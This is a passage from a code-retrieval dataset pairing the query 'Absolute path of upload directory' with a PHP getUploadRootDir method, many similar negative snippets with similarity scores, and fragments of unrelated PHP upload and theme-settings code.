anymore\n $this->file = null;\n }", "private function uploadPhoto()\n {\n try\n {\n \n $request = $_POST;\n\n //check if user logged in\n if(!userid())\n throw_error_msg( lang(\"you_not_logged_in\") ) ;\n\n //check if title provided\n if( !isset($request['photo_title']) || $request['photo_title']==\"\")\n throw_error_msg(\"photo_title not provided\");\n else\n $insert_array['photo_title'] = mysql_clean($request['photo_title']);\n\n //check if description provided\n if( !isset($request['photo_description']) || $request['photo_description']==\"\")\n throw_error_msg(\"photo_description not provided\");\n else\n $insert_array['photo_description'] = mysql_clean($request['photo_description']);\n\n //check if tags provided\n if(!isset($request['photo_tags']) || $request['photo_tags']==\"\")\n throw_error_msg(\"photo_tags not provided\");\n else\n $insert_array['photo_tags'] = mysql_clean($request['photo_tags']);\n\n //check if collection provided\n if(!isset($request['collection_id']) || $request['collection_id']==\"\")\n throw_error_msg(\"collection_id not provided\");\n elseif(!is_numeric($request['collection_id']))\n throw_error_msg('invalid collection_id');\n else\n $insert_array['collection_id'] = mysql_clean($request['collection_id']);\n\n if(!isset($_FILES['photo_file']))\n throw_error_msg(\"photo file not provided\");\n\n $info = pathinfo($_FILES['photo_file']['name']);\n \n $extension = strtolower($info['extension']);\n\n $tmp_file = FILES_DIR.'/temp/temp_photo_'.time().'.'.$extension;\n \n @move_uploaded_file($_FILES['photo_file']['tmp_name'], $tmp_file);\n\n $photo_upload_url = BASEURL.\"/actions/photo_uploader.php\";\n\n $post_array['plupload'] = 'yes';\n $post_array['name'] = $_FILES['photo_file']['name'];\n $post_array['file'] = '@'.$tmp_file;\n \n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL,$photo_upload_url);\n curl_setopt($ch, CURLOPT_POST, 1);\n curl_setopt($ch, CURLOPT_POSTFIELDS, $post_array);\n \n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $server_output = curl_exec ($ch);\n\n curl_close ($ch);\n \n $output = json_decode($server_output,true);\n\n if(isset($output['error']))\n {\n throw_error_msg( $output['error'] ) ;\n }\n else\n {\n //get ouput \n /*$insert_array['filename'] = $output['filename'];\n \n $insert_array['folder'] = createDataFolders(PHOTOS_DIR);*/\n $post_insert_array['insertPhoto'] = 'yes';\n $post_insert_array['photo_title'] = $insert_array['photo_title'];\n $post_insert_array['photo_description'] = $insert_array['photo_description'];\n $post_insert_array['photo_tags'] = $insert_array['photo_tags'];\n $post_insert_array['collection_id'] = $insert_array['collection_id']; \n $post_insert_array['file_name'] = $output['file_name'];\n $post_insert_array['title'] = $info['filename']; //$_FILES['photo_file']['name'];\n $post_insert_array['ext'] = $output['extension'];\n $post_insert_array['userid'] = userid();\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL,$photo_upload_url);\n curl_setopt($ch, CURLOPT_POST, 1);\n curl_setopt($ch, CURLOPT_POSTFIELDS, $post_insert_array);\n \n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $server_output = curl_exec ($ch);\n\n curl_close ($ch);\n \n $output = json_decode($server_output,true);\n \n if(isset($output['success']))\n {\n global $cbphoto;\n\n $photo = $cbphoto->get_photo($output['photoID']);\n $cbphoto->collection->add_collection_item($photo['photo_id'],$photo['collection_id']);\n \n $photo_details = format_photos( array($photo) );\n }\n else\n {\n throw_error_msg( $output['error'] ) ; \n }\n\n $data = array('code' => \"200\", 'status' => \"success\", \"msg\" => \"success\", \"data\" => $photo_details);\n $this->response($this->json($data));\n } \n \n }\n catch(Exception $e)\n {\n $this->getExceptionDelete($e->getMessage());\n } \n }" ]
[ "0.7179776", "0.7051312", "0.70171374", "0.70058835", "0.6985683", "0.6974317", "0.6967899", "0.69673294", "0.6915824", "0.69134325", "0.68612206", "0.6847253", "0.6804593", "0.6794967", "0.67870325", "0.67463374", "0.6743065", "0.67373854", "0.67335486", "0.6732378", "0.6732378", "0.6732378", "0.6732378", "0.6732378", "0.6732378", "0.6731624", "0.66965026", "0.66965026", "0.6692083", "0.6677963", "0.667576", "0.6665096", "0.665149", "0.6634519", "0.66233146", "0.6615929", "0.6605004", "0.6585903", "0.6577944", "0.657724", "0.6564813", "0.65568626", "0.6550972", "0.6520669", "0.64844984", "0.6477525", "0.6476598", "0.6462297", "0.6461646", "0.645509", "0.6450864", "0.6445902", "0.6444062", "0.64263684", "0.6426195", "0.6425545", "0.6407713", "0.63995063", "0.63971424", "0.6381582", "0.63785094", "0.63742965", "0.6369922", "0.6369658", "0.6348317", "0.6346535", "0.6342548", "0.6335322", "0.63193786", "0.6313276", "0.6306565", "0.6306565", "0.62981296", "0.6291092", "0.62903243", "0.62786084", "0.62742215", "0.62707007", "0.62647444", "0.626419", "0.62435323", "0.6239852", "0.6229948", "0.6213596", "0.62065625", "0.6194044", "0.61912596", "0.61912495", "0.61890477", "0.61859584", "0.6185774", "0.61823064", "0.6166421", "0.61659455", "0.616405", "0.6164045", "0.61620224", "0.6159178", "0.6155736", "0.6152638" ]
0.6365274
64
Absolute path of upload directory
protected function getUploadRootDir() { return __DIR__ . '/../../../../web/' . self::UPLOAD_ROOT; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function basePathUpload() {\n\t\t\t\t\t\t$this->redirectToIndex();\n\t\t\t\t\t\t$pathupload = realpath ( APPLICATION_PATH . '/../public/data/uploads' );\n\t\t\t\t\t\treturn $pathupload;\n\t\t\t\t\t}", "public function getRelativeUploadPath(): string;", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../../'.$this->getUploadDir();\n }", "public static function uploadPath(): string {\n\t\treturn config('filesystems.upload_folder_name') . DIRECTORY_SEPARATOR . self::UPLOAD_FOLDER_NAME;\n\t}", "protected function getUploadRootDir()\r\n {\r\n // the absolute directory path where uploaded documents should be saved\r\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\r\n }", "private function getUploadRootDir(){\n \treturn __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\r\n\t{\r\n\t\treturn __DIR__.'/../../../../web/'.$this->getUploadDir();\r\n\t}", "protected function getUploadDir() {\n return '/uploads';\n }", "public function getUploadRootDir() {\n \treturn __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadDir()\n {\n return 'upload/files';\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "public function getUploadRootDir()\n {\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public function getUploadDir(){\n return dirname(_FILE_). \"/img/\";\n }", "protected function getUploadDir()\n {\n return 'uploads';\n }", "protected function getUploadRootDir()\n {\n //$racine = sudo chmod ;\n return __DIR__.'/../../../web/ressources/uploads/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return dirname(__DIR__).'/../public/'.$this->getUploadDir();\n }", "public function getUploadDir()\n {\n return storage_path($this->getUploadUri());\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../public/'.$this->getUploadDir();\n }", "private function getUploadRootDir()\n {\n return __DIR__ . \"/../../../../web\" . $this->getUploadDir();\n }", "protected function getUploadRootDir()\r\n {\r\n // documents should be saved\r\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\r\n }", "protected function getUploadDir()\n\t{\n\t\t// get rid of the __DIR__ so it doesn't screw when displaying uploaded doc/image\n\t\t// in the view.\n\t\treturn 'uploads/mybudget';\n\t}", "public function getUploadRootDir() {\n return __DIR__ . '/../../../../web/' . $this->getUploadDir();\n }", "protected function getUploadRootDir() {\r\n return __DIR__ . '/../../../../web/' . $this->getUploadDir()\r\n\r\n ;\r\n }", "public function getUploadPath()\n {\n return Yii::$app->params['upload_dir'] . DIRECTORY_SEPARATOR . $this->path;\n }", "protected function getUploadRootDir()\n\t{\n\t\treturn __DIR__.'/../../../../web/'.$this->getUploadDir();\n\t}", "public function getAbsolutePath()\n {\n return $this->getUploadRootDir().'/'.$this->name;\n }", "protected function getUploadRootDir()\n {\n return __DIR__ . '/../../../../web/' . $this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n \t// guardar los archivos cargados\n \treturn 'uploads/registros/';\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../uploads/user/';\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadDir() {\n // when displaying uploaded doc/image in the view.\n return 'uploads/';\n }", "protected function getUploadRootDir() {\n return __DIR__ . '/../../../../web/' . $this->getUploadDir();\n }", "public function getUploadRootDir(){\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir() {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__ . '/../../../../www/' . $this->getUploadImageDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../../web/'.$this->getUploadDir();\n }", "public function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadDir()\n {\n return 'uploads/org' . $this->id;\n }", "protected function getUploadRootDir()\n {\n \t// documents should be saved\n \treturn __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // guardar los archivos cargados\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // guardar los archivos cargados\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // guardar los archivos cargados\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // guardar los archivos cargados\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadDir()\n {\n return __DIR__ . '/../../../../web' . $this->getFilesPath();\n }", "protected function getUploadRootDir()\n {\n// documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir(): string\n {\n // documents should be saved\n return __DIR__.'/../../public/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n \t// guardar los archivos cargados\n \treturn 'uploads/registros/labels';\n }", "protected function getUploadRootDir() {\n // documents should be saved\n return __DIR__ . '/../../../../web/' . $this -> getUploadDir();\n }", "protected function getUploadRootDir() {\n // guardar los archivos cargados\n return __DIR__ . '/../../../../web/uploads/portafolios/' . $this->getId();\n }", "public function getUploadDir()\n {\n // image profile should be saved\n return __DIR__.'/../../../../web/uploads/evento/'.$this->id;\n }", "public function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads';\n }", "public function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads';\n }", "protected function getUploadDir()\n {\n \t// when displaying uploaded doc/image in the view.\n \treturn 'uploads/imagen';\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n\n return __DIR__.'/../../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadDir()\r\n {\r\n // when displaying uploaded doc/image in the view.\r\n return 'uploads/images';\r\n }", "public function getAbsolutePath()\r\n {\r\n return null === $this->getPath() ? null : $this->getUploadRootDir().'/'.$this->getPath();\r\n }", "public function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir().\"/\".$this->getHash();\n }", "protected function getUploadDir() {\n // when displaying uploaded doc/image in the view.\n return 'uploads';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/ads/images';\n }", "protected function _getUploadDir()\n {\n return $this->_mediaDirectory->getAbsolutePath($this->_appendScopeInfo(self::UPLOAD_DIR));\n }", "protected function getUploadRootDir() {\n // guardar los archivos cargados\n return __DIR__ . '/../../../../web/' . $this->getUploadDir();\n }", "protected function getUploadDir() {\r\n return 'uploads/documents';\r\n }", "protected function getUploadRootDir()\n\t{\n\t\t// the absolute directory path where uploaded documents should be saved\n\t\treturn __DIR__ . '/../../../../web/' . $this->getUploadDir();\n\t}", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads';\n }", "public function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'web/images';\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../public_html/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return $_SERVER['DOCUMENT_ROOT'] . '/' . $this->getUploadDir();\n }" ]
[ "0.8080447", "0.7996804", "0.7942805", "0.7939253", "0.79161555", "0.7876262", "0.7869895", "0.78663415", "0.78626746", "0.78576344", "0.7856045", "0.7856045", "0.7856045", "0.7856045", "0.7856045", "0.7854744", "0.7854744", "0.7847188", "0.78429127", "0.78391355", "0.78249013", "0.78186435", "0.78177136", "0.78125346", "0.7805142", "0.7798642", "0.7798323", "0.7794873", "0.7793888", "0.77900803", "0.7789877", "0.77886397", "0.77783793", "0.77764875", "0.77676666", "0.77644104", "0.77608454", "0.775963", "0.7752234", "0.774538", "0.7733379", "0.77314055", "0.77307916", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7730709", "0.7728827", "0.7725352", "0.7721731", "0.7721731", "0.7721731", "0.7721731", "0.7719795", "0.77096397", "0.7708822", "0.7708822", "0.7708822", "0.7708822", "0.7708822", "0.7708822", "0.7708822", "0.77021843", "0.770086", "0.76931447", "0.76850885", "0.768493", "0.76806074", "0.76806074", "0.7676779", "0.7676735", "0.7669839", "0.7662503", "0.7660977", "0.76608366", "0.7660606", "0.7659943", "0.7659678", "0.7656432", "0.7654128", "0.7648248", "0.7645589", "0.76377124", "0.7635314" ]
0.78233427
21
/ Register Global Variables.
function LiangLeeThemeDesigner_lib(){ /* * Register Global Variables for Topbar Background image. * * @access public */ global $liangtopbar_bg; /* * Register Global Variables for Topbar Background color. * * @access public */ global $liangtopbar_color; /* * Register Global Variables for Topbar height. * * @access public */ global $liangtopbar_height; /* * Register Global Variables for Header Background Color. * * @access public */ global $liangheader_color; /* * Register Global Variables for Head Logo. * * @access public */ global $lianglogo; /* * Register Global Variables for Header Background image. * * @access public */ global $liangheader_bgimg; /* * Register Global Variables for Search Bar Border Color. * * @access public */ global $liangsearch_br; /* * Register Global Variables for Header Height. * * @access public */ global $liangheader_height; /* * Register Global Variables for WalledGarden Image. * * @access public */ global $liangwalledg_bgimg; /* * Fetch Settings for Header Height. * * @access public */ $liang_walledg = elgg_get_plugin_setting("Leethemed_walledg_background", "LiangLeeThemeDesigner"); if (!elgg_get_plugin_setting("Leethemed_walledg_background", "LiangLeeThemeDesigner")) { $liangwalledg_bgimg = '90px'; } else { $liangwalledg_bgimg = $liang_walledg; } /* * Fetch Settings for Header Height. * * @access public */ $liang_header_height = elgg_get_plugin_setting("Leethemed_header_height", "LiangLeeThemeDesigner"); if (!elgg_get_plugin_setting("Leethemed_header_height", "LiangLeeThemeDesigner")) { $liangheader_height = '90px'; } else { $liangheader_height = $liang_header_height; } /* * Fetch Settings for Topbar Background. * * @access public */ $liang_topbar_bg = elgg_get_plugin_setting("Leethemed_background", "LiangLeeThemeDesigner"); if (!elgg_get_plugin_setting("Leethemed_background", "LiangLeeThemeDesigner")) { $liangtopbar_bg = elgg_get_site_url().'_graphics/toptoolbar_background.gif'; } else { $liangtopbar_bg = $liang_topbar_bg; } /* * Fetch Settings for Topbar Background Color. * * @access public */ $liang_topbar_color = elgg_get_plugin_setting("Leethemed_tbar_bgcolor", "LiangLeeThemeDesigner"); if (!elgg_get_plugin_setting("Leethemed_tbar_bgcolor", "LiangLeeThemeDesigner")) { $liangtopbar_color = '#333333'; } else { $liangtopbar_color = $liang_topbar_color; } /* * Fetch Settings for Topbar Height. * * @access public */ $liang_topbar_height = elgg_get_plugin_setting("Leethemed_tbar_height", "LiangLeeThemeDesigner"); if (!elgg_get_plugin_setting("Leethemed_tbar_height", "LiangLeeThemeDesigner")) { $liangtopbar_height = '24'; } else { $liangtopbar_height = $liang_topbar_height; } /* * Fetch Settings for Header Background image. * * @access public */ $liang_header_bgimg = elgg_get_plugin_setting("Leethemed_header_bgimg", "LiangLeeThemeDesigner"); if (!elgg_get_plugin_setting("Leethemed_header_bgimg", "LiangLeeThemeDesigner")) { $liangheader_bgimg = '#4690D6 url('.elgg_get_site_url().'_graphics/header_shadow.png) repeat-x bottom left'; } else { $liangheader_bgimg = $liang_header_bgimg; } /* * Fetch Settings for Header Background Image. * * @access public */ $liang_header_color = elgg_get_plugin_setting("Leethemed_header_bgcolor", "LiangLeeThemeDesigner"); if (!elgg_get_plugin_setting("Leethemed_header_bgcolor", "LiangLeeThemeDesigner")) { $liangheader_color = '#4690D6'; } else { $liangheader_color = $liang_header_color; } /* * Fetch Settings for Topbar Logo. * Display ($site->name) site name if logo not setup. * @access public */ $liang_logo = elgg_get_plugin_setting("Leethemed_logo", "LiangLeeThemeDesigner"); if (!elgg_get_plugin_setting("Leethemed_logo", "LiangLeeThemeDesigner")) { $site = elgg_get_site_entity(); $site_name = $site->name; $lianglogo = $site_name; } else { $lianglogo = $liang_logo; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected static function initializeGlobalVariables() {}", "function register_globals() {\n\t\t$GLOBALS['weekday'] = $this->weekday;\n\t\t$GLOBALS['weekday_initial'] = $this->weekday_initial;\n\t\t$GLOBALS['weekday_abbrev'] = $this->weekday_abbrev;\n\t\t$GLOBALS['month'] = $this->month;\n\t\t$GLOBALS['month_abbrev'] = $this->month_abbrev;\n\t}", "public function register_globals() {\n\t\t$GLOBALS['weekday'] = $this->weekday;\n\t\t$GLOBALS['weekday_initial'] = $this->weekday_initial;\n\t\t$GLOBALS['weekday_abbrev'] = $this->weekday_abbrev;\n\t\t$GLOBALS['month'] = $this->month;\n\t\t$GLOBALS['month_abbrev'] = $this->month_abbrev;\n\t}", "public function register_globals()\n {\n }", "public function register_globals()\n {\n }", "public function register()\n {\n // Merge variables with current EE globals\n $global_variables = array_merge(ee()->config->_global_vars, $this->global_variables);\n\n // Set the merged array\n ee()->config->_global_vars = $global_variables;\n }", "public function setGlobalsData()\n\t{\n\t\t$GLOBALS['controller'] = $this->class_Name;\n\t\t$GLOBALS['action'] = $this->action_Name;\n\t}", "private static function addGlobals()\n {\n \tself::$twig->addGlobal('session', $_SESSION);\n self::$twig->addGlobal('APP', APP);\n self::$twig->addGlobal('auth', Auth::getAuth());\n }", "public function getGlobals();", "public function getGlobals();", "public function register()\n {\n return array(T_GLOBAL);\n\n }", "public function getGlobals()\n {\n }", "public static function fromGlobals() {}", "private function setup_globals() {\r\n\t\t/** Versions **********************************************************/\r\n\r\n\t\t$this->version = '0.3-alpha';\r\n\t\t$this->db_version = '1';\r\n\r\n\t\t/** Paths *************************************************************/\r\n\r\n\t\t$this->file = __FILE__;\r\n\t\t$this->basename = apply_filters( 'atcf_plugin_basenname', plugin_basename( $this->file ) );\r\n\t\t$this->plugin_dir = apply_filters( 'atcf_plugin_dir_path', plugin_dir_path( $this->file ) );\r\n\t\t$this->plugin_url = apply_filters( 'atcf_plugin_dir_url', plugin_dir_url ( $this->file ) );\r\n\r\n\t\t$this->template_url = apply_filters( 'atcf_plugin_template_url', 'crowdfunding/' );\r\n\r\n\t\t// Includes\r\n\t\t$this->includes_dir = apply_filters( 'atcf_includes_dir', trailingslashit( $this->plugin_dir . 'includes' ) );\r\n\t\t$this->includes_url = apply_filters( 'atcf_includes_url', trailingslashit( $this->plugin_url . 'includes' ) );\r\n\r\n\t\t// Languages\r\n\t\t$this->lang_dir = apply_filters( 'atcf_lang_dir', trailingslashit( $this->plugin_dir . 'languages' ) );\r\n\r\n\t\t/** Misc **************************************************************/\r\n\r\n\t\t$this->domain = 'atcf'; \r\n\t}", "private function fn_register_common_variables() {\n\t\t$current_user = wp_get_current_user();\n\t\t//perhaps we don't need this variable. still, lets continue with this.\n\t\t$this->app_data['swpmvc_current_user'] = $current_user;\n\t\t$this->app_data['inline_js'] = '';\n\t}", "public static function registerGlobals() {\n\n foreach (self::$egpcs as $name) {\n\n if (!isset($GLOBALS[\"_$name\"])) {\n continue;\n }\n\n foreach($GLOBALS['_'.$name] as $key => & $value) {\n $GLOBALS[$key] = $value;\n }\n\n reset($GLOBALS[\"_$name\"]);\n }\n\n return true;\n }", "protected function init()\n {\n $arVariablesExtend = Event::fire(self::EVENT_EXTEND_VARIABLES, []);\n\n foreach ($arVariablesExtend as $iIndex => $arExtend)\n {\n foreach ($arExtend as $sKey => $arVariable) {\n if (in_array($sKey, $this->arVariables)) {\n continue;\n }\n\n // Add to variables\n $this->arVariables[$sKey] = $arVariable;\n }\n }\n }", "private function initialization() {\n //global $_POST,$_GET,$_SERVER,$_FILES,$_COOKIE,$_ENV;\n \n $this->ServerVar = &$_SERVER;\n $this->EnvVar = &$_ENV;\n $this->CookieVar = &$_COOKIE;\n $this->VARS = daddslashes(array_merge($_POST, $_GET, $_FILES));\n //$this->VARS = array_merge($_POST, $_GET, $_FILES);\n }", "protected function initVars() {\n\n\t\t}", "protected static function initializeGlobalTimeTrackingVariables() {}", "private static function setup() {\n if(!isset(self::$settings)) {\n require 'regain/global_settings.php';\n self::$settings = $settings;\n }\n }", "public function init() {\n register_setting( self::$key, self::$key );\n }", "function fiorello_mikado_get_global_variables() {\n\t\t$global_variables = array();\n\n\t\t$global_variables['mkdfAddForAdminBar'] = is_admin_bar_showing() ? 32 : 0;\n\t\t$global_variables['mkdfElementAppearAmount'] = -100;\n\t\t$global_variables['mkdfAjaxUrl'] = esc_url( admin_url( 'admin-ajax.php' ) );\n\n\t\t$global_variables = apply_filters( 'fiorello_mikado_filter_js_global_variables', $global_variables );\n\n\t\twp_localize_script( 'fiorello-mikado-modules', 'mkdfGlobalVars', array(\n\t\t\t'vars' => $global_variables\n\t\t) );\n\t}", "private function registerTwigGlobals()\n {\n $files = array_merge(\n glob( $this->getThemeDirectory().'*.yaml' ),\n glob( $this->getContentPath().'*.yaml')\n );\n\n # Get the *.yaml files (either from content or from the theme):\n foreach( $files as $yaml )\n {\n if( substr(basename($yaml), 0, 1) != '_' )\n {\n $this->addTwigGlobal(\n Utils::removeExtension($yaml),\n Yaml::parseFile($yaml)\n );\n }\n }\n\n # Now add additional useful vars:\n $this->addTwigGlobal('theme_dir', $this->config->get('site.url').$this->config->get('site.dir').$this->config->get('dirs.view').'/'.$this->config->get('site.theme').'/');\n $this->addTwigGlobal('base_url', $this->config->get('site.url').$this->config->get('site.dir'));\n }", "function init_from_globals () {\n\t\t$this->init($_SERVER, $_GET, $_POST, $_FILES, 'php://input', $_COOKIE, MICROTIME);\n\t}", "private function define_global_constants() {\n\t\tif ( !defined( 'PAULUS_APP_DIR' ) ) {\n\t\t\tdefine( 'PAULUS_APP_DIR', $this->app_base_path . DIRECTORY_SEPARATOR );\n\t\t}\n\t\tif ( !defined( 'PAULUS_EXTERNAL_LIB_DIR' ) ) {\n\t\t\tdefine( 'PAULUS_EXTERNAL_LIB_DIR', $this->app_base_path . '/../vendor' );\n\t\t}\n\t}", "public static function init() {\n static::registerSettings();\n }", "public function init()\n {\n register_setting($this->key, $this->key);\n }", "public function initializeGlobalTimeTrackingVariablesSetsGlobalVariablesDataProvider() {}", "function __construct() {\n\t\t$this->init();\n\t\t$this->register_globals();\n\t}", "public function init() {\n\t\tregister_setting( $this->key, $this->key );\n\t}", "public function init() {\n\t\tregister_setting( $this->key, $this->key );\n\t}", "public function init() {\n\t\tregister_setting( $this->key, $this->key );\n\t}", "protected function CustomVariables ()\r\n\t{\r\n\t\t// Overwrite variables if you want them custom\r\n\t\t$this->Set ('autoload', true);\r\n\t\t$this->Set ('enable_query_strings', false);\r\n\t\t\r\n\t\t// Add your own variables\r\n\t\t$this->Set ('database_host', 'localhost');\r\n\t\t$this->Set ('database_user', 'database_username');\r\n\t\t$this->Set ('database_pass', 'database_password');\r\n\t\t$this->Set ('database_name', 'database_name');\r\n\t\t$this->Set ('database_prefix', 'database_prefix');\r\n\t}", "public function init() {\r\n\t\tregister_setting( $this->key, $this->key );\r\n\t}", "public function init() {\n register_setting( $this->key, $this->key );\n }", "function TS_VCSC_RegisterGlobalData() {\r\n\t\t\t// Load Required Data Arrays + Functions\r\n\t\t\tif (($this->TS_VCSC_VisualComposer_Loading == \"true\") || ($this->TS_VCSC_PluginDownTimeManager == \"true\") || ($this->TS_VCSC_PluginFontSummary == \"true\") || ($this->TS_VCSC_Icons_Compliant_Loading == \"true\") || ($this->TS_VCSC_GoggleFontSummary == \"true\") || ($this->TS_VCSC_PluginSettingsTransfer == \"true\") || ($this->TS_VCSC_PluginIconFontImport == \"true\") || ($this->TS_VCSC_PluginUsageCompiler == \"true\") || ($this->TS_VCSC_PluginIconGenerator == \"true\") || ($this->TS_VCSC_CustomPostTypesPresent == \"true\")) {\r\n\t\t\t\trequire_once($this->registrations_dir . 'ts_vcsc_registrations_functions.php');\r\n\t\t\t\trequire_once($this->registrations_dir . 'ts_vcsc_registrations_other.php'); \r\n\t\t\t\tif (($this->TS_VCSC_VisualComposer_Loading == \"true\") || ($this->TS_VCSC_GoggleFontSummary == \"true\") || ($this->TS_VCSC_PluginFontSummary == \"true\") || ($this->TS_VCSC_Icons_Compliant_Loading == \"true\") || ($this->TS_VCSC_PluginIconGenerator == \"true\")) {\r\n\t\t\t\t\trequire_once($this->registrations_dir . 'ts_vcsc_registrations_googlefonts.php');\r\n\t\t\t\t}\r\n\t\t\t\trequire_once($this->registrations_dir . 'ts_vcsc_registrations_conditionals.php');\r\n\t\t\t} else if (($this->TS_VCSC_Extension_RoleManager == \"true\") || ($this->TS_VCSC_Extension_ElementsUser == \"true\")) {\r\n\t\t\t\trequire_once($this->registrations_dir . 'ts_vcsc_registrations_other.php');\r\n\t\t\t\trequire_once($this->registrations_dir . 'ts_vcsc_registrations_conditionals.php'); \r\n\t\t\t} else if ((!is_admin()) || ($this->TS_VCSC_PluginAlways == \"true\")) 